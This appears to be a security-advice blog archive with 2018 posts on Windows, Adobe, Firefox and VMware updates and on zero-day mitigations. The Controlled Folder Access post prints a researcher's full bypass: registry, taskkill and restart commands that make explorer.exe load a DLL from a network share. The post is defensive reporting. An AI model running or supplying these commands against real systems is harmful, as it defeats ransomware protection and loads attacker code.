Category Archives: Security Advice

Posts that share best practice security advice.

Security Researcher Demonstrates Bypass for Controlled Folder Access

In Windows 10 version 1709 (also known as the Fall Creator’s Update or Redstone 3) and later versions Microsoft introduced a feature known as Controlled Folder Access which aims to prevent ransomware (or unknown applications) from encrypting files within folders that you specify. Further details are provided here.

Last week at the DerbyCon security conference a security researcher, Soya Aoyama from Fujitsu System Integration Laboratories demonstrated how DLL injection (The technique of DLL injection is explained in more detail here and here.) could be used to add a DLL (defined) to the user interface (UI) of Windows 10 (in the form of the shell process, explorer.exe).

The Controlled Folder Access works by preventing any applications not present on a whitelist (a list of allowed applications) from modifying the files in the folders listed as requiring protected. Using the fact that explorer.exe is present on that allowed list; enabled the researcher to bypass this ransomware protection by adding the DLL as a context menu handler. This list of context handlers would usually allow you to for example; perform an anti-malware scan on a file by right clicking or to compress a file using 7-Zip. This list is stored in the Windows Registry at the following location:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

In order to interact with a user explorer.exe by default it loads the shell.dll from the following location:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\InProcServer32

Aoyama changed the DLL value from shell.dll to his DLL in order that explorer.exe would load it when it started. He then terminated and restarted explorer.exe to successfully load his DLL.

Microsoft currently not in favour of patching this vulnerability
As per Microsoft’s 10 immutable laws of security; at this time they don’t intend to patch this vulnerability since it relies on an attacker having already compromising your system and using it to run a legitimate command to load a malicious DLL into explorer.exe:

reg add HKCU\Software\Classes\CLSlD\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\lnprocServer32 /f /ve /t REG SZ /d \\10.0.1.40\tmp\Anti-ControlledFolderAccess.dll

taskkill /1M explorer.exe /F

start explorer.exe

Due to this pre-requisite of compromising the system first; this issue won’t be patched. This bypass however does not require administrative (defined) access. Aoyama also demonstrated that Windows Defender did not detect this bypass; neither did other anti-malware solutions such as: Avast, ESET, Malwarebytes Premium or McAfee.

How can I protect myself from this bypass?
There are limited options available at this time to prevent this bypass from occurring. If an attacker can download the necessary DLL to your systems and load it; there is a possibility that your anti-malware solution may detect it since the DLL will likely have a low reputation (it would not be a commonly used file); but this is not guaranteed. This especially true since other anti-malware vendors did not detect it.

HitmanPro.Alert may detect this DLL on your system before it has been added to explorer.exe but would require you to have the premium version installed and monitoring your systems to do so.

The key to prevent the above from occurring would be to follow standard email and instant messaging best practices and lock your system (requiring a password or other form of authentication when you return to the system) when you are away from it to prevent someone entering commands. Keeping your system up to date will also reduce the risk of such a DLL from being downloaded if you were to click on a link in an email or instant message or via a drive by download.

If an attacker can physically access and type commands on your system; application white listing in the form of Windows AppLocker would not by default prevent (but even that feature can be bypassed) this attack since the command run by Aoyama makes use of legitimate Windows tools. If an attacker was to try to execute a script for the command (which is far more likely); AppLocker would block it if it is configured to block unknown scripts.

The DLL blocking feature of Windows AppLocker would also assist in this context but may introduce a performance penalty due to the level of effort it needs to undertake to carry out these checks.

Monitoring the location within the Window registry for changes using a tool such Autoruns is also a possibility but you would need to do this manually and given that ransomware doesn’t usually wait to encrypt your files is likely to be ineffective/too slow to detect this bypass.

Given the attention this bypass has received; anti-malware software may detect changes to the explorer.exe context handlers or the shell location going forward but again this is not guaranteed.

I am investigating another option and will update this post when I have more information available.

Thank you.

 

 

October 2018 Update Summary

resolved 49 vulnerabilities more formally known as CVEs (defined).

At the time of writing; there are known issues with the Windows 7 NIC being an issue again this month:

4459266 : Can be resolved by installed the Microsoft Exchange update with administrative (defined) privileges.

4462917 : No workaround at this time.

4462923 : Workaround available.

As always; further details are available in Microsoft’s update summary for October. Moreover, Adobe issued 4 updates today patching the following products:
Adobe Digital Editions (priority 3, resolves 4x critical and 5x important CVEs)

Adobe Experience Manager (priority 2. 3x important and 2x moderate CVEs)

Adobe Framemaker (priority 3, resolves 1x important CVE)

Adobe Technical Communications Suite (priority 3, resolves 1x important CVE)

Earlier this month Adobe released updates for Acrobat DC and Reader DC resolving 86 CVEs (47x critical and 39x important). These were in addition to the updates made available in September (which resolved 1x critical and 6 important CVEs).

As per standard practice if you use any of the above Adobe software, please update it as soon as possible especially in the case of Acrobat DC and Reader DC. No updates for Flash Player have been distributed so far this month.

You can monitor the availability of security updates for most your software from the following websites (among others) or use one of the utilities presented on this page:

====================
US Computer Emergency Readiness Team (CERT) (please see the “Information on Security Updates” heading of the “Protecting Your PC” page):

https://www.us-cert.gov/

A further useful source of update related information is the Calendar of Updates.

News/announcements of updates in the categories of General SoftwareSecurity Software and Utilities are available on their website. The news/announcements are very timely and (almost always) contain useful direct download links as well as the changes/improvements made by those updates (where possible).

If you like and use it, please also consider supporting that entirely volunteer run website by donating.

====================
For this month’s Microsoft updates, I will prioritize the order of installation below:
====================
Microsoft Edge and Internet Explorer (multiple versions of Edge and IE affected)

2x vulnerabilities  affecting Microsoft Hyper-V (affects Windows 10, Windows 8.1 (including Windows RT 8.1) and Windows 7 along with their Server equivalents)(the links above provide details on both vulnerabilities)

Microsoft JET database (resolved by installing the latest cumulative update for your version of Windows: Windows 10; Windows 8.1 or Windows 7.

Microsoft Exchange Server 2016, 2013 and 2010

====================
Please install the remaining updates at your earliest convenience.

As usual; I would recommend backing up the data on any device for which you are installing updates to prevent data loss in the rare event that any update causes unexpected issues. I have provided further details of updates available for other commonly used applications below.

Please find below summaries of other notable updates released this month.

Thank you.

=======================
Mozilla Firefox:
=======================
In early September Mozilla made available updated versions of Firefox:

Firefox 62.0.3: Resolves 2x critical CVEs (defined)

Firefox ESR 60.2.2 (Extended Support Release): Resolves 2x critical CVEs

Details of how to install updates for Firefox are here. If Firefox is your web browser of choice, if you have not already done so, please update it as soon as possible to resolve these security issues.

=======================
VMware
=======================
VMWare has issued 2 security advisories so far for October:

Security advisory 1 (addresses 1 critical vulnerability) in the following products:

  • AirWatch Console 9.1 to 9.7

Security advisory 2 (addresses 1 important vulnerability via a mitigation) in the following products:

  • ESXI
  • Fusion
  • Workstation Pro

If you use the above VMware products, please review the security advisories and apply the necessary updates/mitigations.

Protecting Against the Microsoft JET Database Zero Day Vulnerability

=======================
Update: 9th October 2018:
=======================
Microsoft’s scheduled updates for October 2018 resolve this vulnerability. Thank you.

=======================
Original Post:
=======================
In the latter half of last week; Trend Micro’s Zero Day Initiative publically disclosed (defined) a zero day vulnerability (defined) within the Microsoft JET Database Engine (defined).

Why should this vulnerability be considered important?
This vulnerability should be considered high but not critical severity. When exploited it can allow an attacker to execute code (to carry out any action of their choice) but they cannot initiate this automatically/remotely. They must socially engineer a potential victim into opening an attachment ( most likely sent over email or via instant messaging etc.). This attachment would need to be a specific file containing data stored in the JET database format. Another means would be visiting a webpage but 0patch co-founder Mitja Kolsec could not successfully test this means of exploit.

This vulnerability exists on Windows 7 but is believed to also exist on all versions of Windows including the Server versions.

How can I protect my organization/myself from this vulnerability?
At this time; a patch/update from Microsoft is pending and is expected to be made available in October’s Update Tuesday (9th October).

In the meantime; please continue to exercise standard vigilance in particular when using email; e.g. don’t click on suspicious links received within emails, social media, via chat applications etc. Don’t open attachments you weren’t expecting within an email (even if you know the person; since their email account or device they access their email may have been compromised) and download updates for your software and devices from trusted sources e.g. the software/device vendors. This US-CERT advisory also provides advice for safely handling emails.

If you choose to; the firm 0patch has also issued micro-patch for this vulnerability as a group of two patches. This was the same firm who micro-patched the recent Windows Task Scheduler vulnerability. As with the above mitigations; if you wish to deploy this micropatch please test how well it works in your environment thoroughly BEFORE deployment.

Thank you.

September 2018 Update Summary

=======================
Update: 11th September 2018:
=======================
Earlier today Microsoft and Adobe made available their scheduled updates. Microsoft resolved 61 vulnerabilities more formally known as CVEs (defined).

At the time of writing; there are known issues but with only the now commonly occurring Windows 7 NIC being an issue this month:

KB4457128

KB4457144

KB4458321

Further details are available in Microsoft’s update summary for September.

Adobe issued 2 updates today:

Adobe ColdFusion (priority 2, resolves 6x critical CVEs)
Adobe Flash (priority 2, resoles 1x CVE)

As per standard practice if you use any of the above Adobe software, please update it as soon as possible especially in the case of Flash. Updates for Google Chrome will be available shortly either via a browser update or their component updater.

You can monitor the availability of security updates for most your software from the following websites (among others) or use one of the utilities presented on this page:

====================
US Computer Emergency Readiness Team (CERT) (please see the “Information on Security Updates” heading of the “Protecting Your PC” page):

https://www.us-cert.gov/

A further useful source of update related information is the Calendar of Updates. News/announcements of updates in the categories of General SoftwareSecurity Software and Utilities are available on their website. The news/announcements are very timely and (almost always) contain useful direct download links as well as the changes/improvements made by those updates (where possible).

If you like and use it, please also consider supporting that entirely volunteer run website by donating.

====================
For this month’s Microsoft updates, I will prioritize the order of installation below:
====================
Microsoft Edge and Internet Explorer (multiple versions of Edge and IE affected)

Microsoft Hyper-V (affects Windows 10 and Windows 8.1 (including Windows RT 8.1) and their Server equivalents)

Windows Task Scheduler (relating to a previous blog post)

Security advisory for “FragmentSmack” CVE-2018-5391

====================
Please install the remaining updates at your earliest convenience.

As usual; I would recommend backing up the data on any device for which you are installing updates to prevent data loss in the rare event that any update causes unexpected issues. I have provided further details of updates available for other commonly used applications below.

Please find below summaries of other notable updates released this month.

Thank you.

=======================
Original Post:
=======================
In advance of further updates being released by Microsoft and Adobe this month I wish to provide details of notable updates made available so far. I will update this post as more updates are distributed.

Thank you.

=======================
Mozilla Firefox:
=======================
In early September Mozilla made available updated versions of Firefox:

Firefox 62: Resolves 1x critical CVE (defined), 3x high CVEs, 2x moderate CVEs, 3x low CVEs

Firefox ESR 60.2 (Extended Support Release): Resolves 1x critical CVE, 2x high CVEs, 2x moderate CVEs and 1x low CVE.

Further discussion of the other features introduced by Firefox 62 is available here. In the future Firefox will block multiple trackers which will boost privacy for it’s users. Future versions will implement these changes.

In-depth details of the security issues resolved by these updates are available in the links above. Details of how to install updates for Firefox are here. If Firefox is your web browser of choice, if you have not already done so, please update it as soon as possible to resolve these security issues.

=======================
Google Chrome:
=======================
Last week Google released version 69 (specifically version 69.0.3497.81) of Chrome celebrating Chrome’s 10th anniversary. This version not only incorporates fixes for 40 vulnerabilities but also includes many more improvements. Among them are an improved password manager/form filler and a change in how secured (encrypted) webpages are indicated.

Google Chrome updates automatically and will apply the update the next time Chrome is closed and then re-opened. Chrome can also be updated immediately by clicking the Options button (it looks like 3 stacked small horizontal lines, sometimes called a “hamburger” button) in the upper right corner of the window and choosing “About Google Chrome” from the menu. Follow the prompt to Re-launch Chrome for the updates to take effect.

=======================
VMware
=======================
VMWare has issued a single security advisory so far in September:

Security advisory 1 (addresses 2 vulnerabilities of Low severity):

  • AirWatch Agent for iOS (A/W Agent)
  • VMware Content Locker for iOS (A/W Locker)

If you use the above VMware product, please review the security advisory and apply the necessary updates.

Protecting Against the Windows 10 Task Scheduler Zero Day Vulnerability

====================
Update: 5th September 2018:
====================
As previously advised; exercising caution when receiving emails with attachments will keep you safe from the following malware now exploiting this vulnerability.

Your anti-malware software will likely also protect you from this exploit since the majority of vendors are detecting (verified using VirusTotal) the file hashes listed in the security firm Eset’s blog post:

Eset have detected attackers delivering an exploit for this vulnerability via email. The exploit targets victims in the following countries:

  • Chile
  • Germany
  • India
  • Philippines
  • Poland
  • Russia
  • Ukraine
  • United Kingdom
  • United States

The attackers have made small changes of their own to the published proof of concept code. They have chosen to replace the Google Updater (GoogleUpdate.exe)(which runs with admin privileges (high level of integrity)) usually located at:

C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

They replace the updater with a backdoor application of their own that is run with the highest privilege namely System level integrity. This is a stage one of their attack. If the attackers find anything of interest on the infected system a second stage is downloaded allowing them to carry out any commands they choose, upload and download files, shutting down an application or parts of Windows of their choice and listing the contents of the data stored on the system.

The attackers also use the following tools to move from system to system across (laterally) a network: PowerDump, PowerSploit, SMBExec, Quarks PwDump, and FireMaster.

Thank you.

====================
Original Post:
====================
With the disclosure early last week of zero day vulnerability (defined) I wanted to provide some advice on staying safe while a patch from Microsoft is being developed.

What systems are affected and how can an attacker use this vulnerability to compromise systems?
Once this pre-developed working exploit is delivered to a 64 bit Windows 10 system it can be used to provide an attacker with the highest level of privilege (System level access) on that system allowing them to carry out any action they choose. They can achieve this by changing permissions on any file stored on a system thus giving them the ability to replace/change any file. When a system service executes what it believes to be a legitimate file but is instead the attacker substituted file; the attacker obtains the privileged access of that service.

The effectiveness of this exploit has been verified by Will Dorman from the CERT/CC. 32 bit versions of Windows are also affected. For Windows 8.1 and Windows 7 systems; the exploit would require minor changes before it can result in the same level of effectiveness (but may be inconsistent on Windows 7 due to the hardcoded XPS printer driver (defined) name within the exploit).

An attacker must already have local access to the systems they wish to compromise but could obtain this using an email containing an attachment or another means of having a user click on a link to open a file. The base CVSS score of this vulnerability is 6.8 making it make of medium severity for the above reasons.

How can I protect myself from this vulnerability?
Standard best practice/caution regarding the opening of email attachments or clicking links within suspicious or unexpected email messages or links from unknown sources will keep you safe from the initial compromise this exploit code requires to work correctly.

The advisory from the CERT/CC has also been updated to add additional mitigations. BEFORE deploying these mitigations please test them thoroughly since they can “reportedly break things created by the legacy task scheduler interface. This can include things like SCCM and the associated SCEP updates”.

A further option you may wish to consider is the deployment of the following micropatch from 0Patch. This patch will automatically cease functioning when the relevant update from Microsoft is made available. As with the above mitigations; if you wish to deploy this micropatch please test how well it works in your environment thoroughly BEFORE deployment.

Further advice on detecting and mitigating this exploit is available from Kevin Beaumont’s post.

Thank you.

Adobe Issues Further Security Updates

Early last week Adobe made available a further un-scheduled emergency security update available for download affecting Creative Cloud Desktop Application version 4.6.0 and earlier. This vulnerability impacts both Apple macOS and Windows systems.

If an attacker were to exploit this they could elevate their privileges (defined). As with the previous security update the vulnerability was responsibly disclosed (defined) to Adobe by Chi Chou of AntFinancial LightYear Labs.

Please follow the steps within this security bulletin to check if the version of Creative Cloud Desktop Application you are using is impacted and if so; follow the steps to install the relevant update.

Thank you.

Adobe Issues Critical Photoshop CC Security Updates

On Wednesday Adobe made available an out of band (un-scheduled) emergency update available for Photoshop CC for both Apple macOS and Windows systems.

Photoshop CC 2018 (versions 19.1.5 and earlier) and Photoshop 2017 (versions 18.1.5 and earlier) are affected by two critical memory corruption vulnerabilities. If an attacker were to exploit these they could achieve remote code execution (defined: the ability for an attacker to remotely carry out any action of their choice on your device). The vulnerabilities were responsibly disclosed (defined) by Kushal Arvind Shah of Fortinet’s FortiGuard Labs to Adobe.

Please follow the steps within Adobe’s security bulletin to install the applicable updates as soon as possible if you use these products.

Thank you.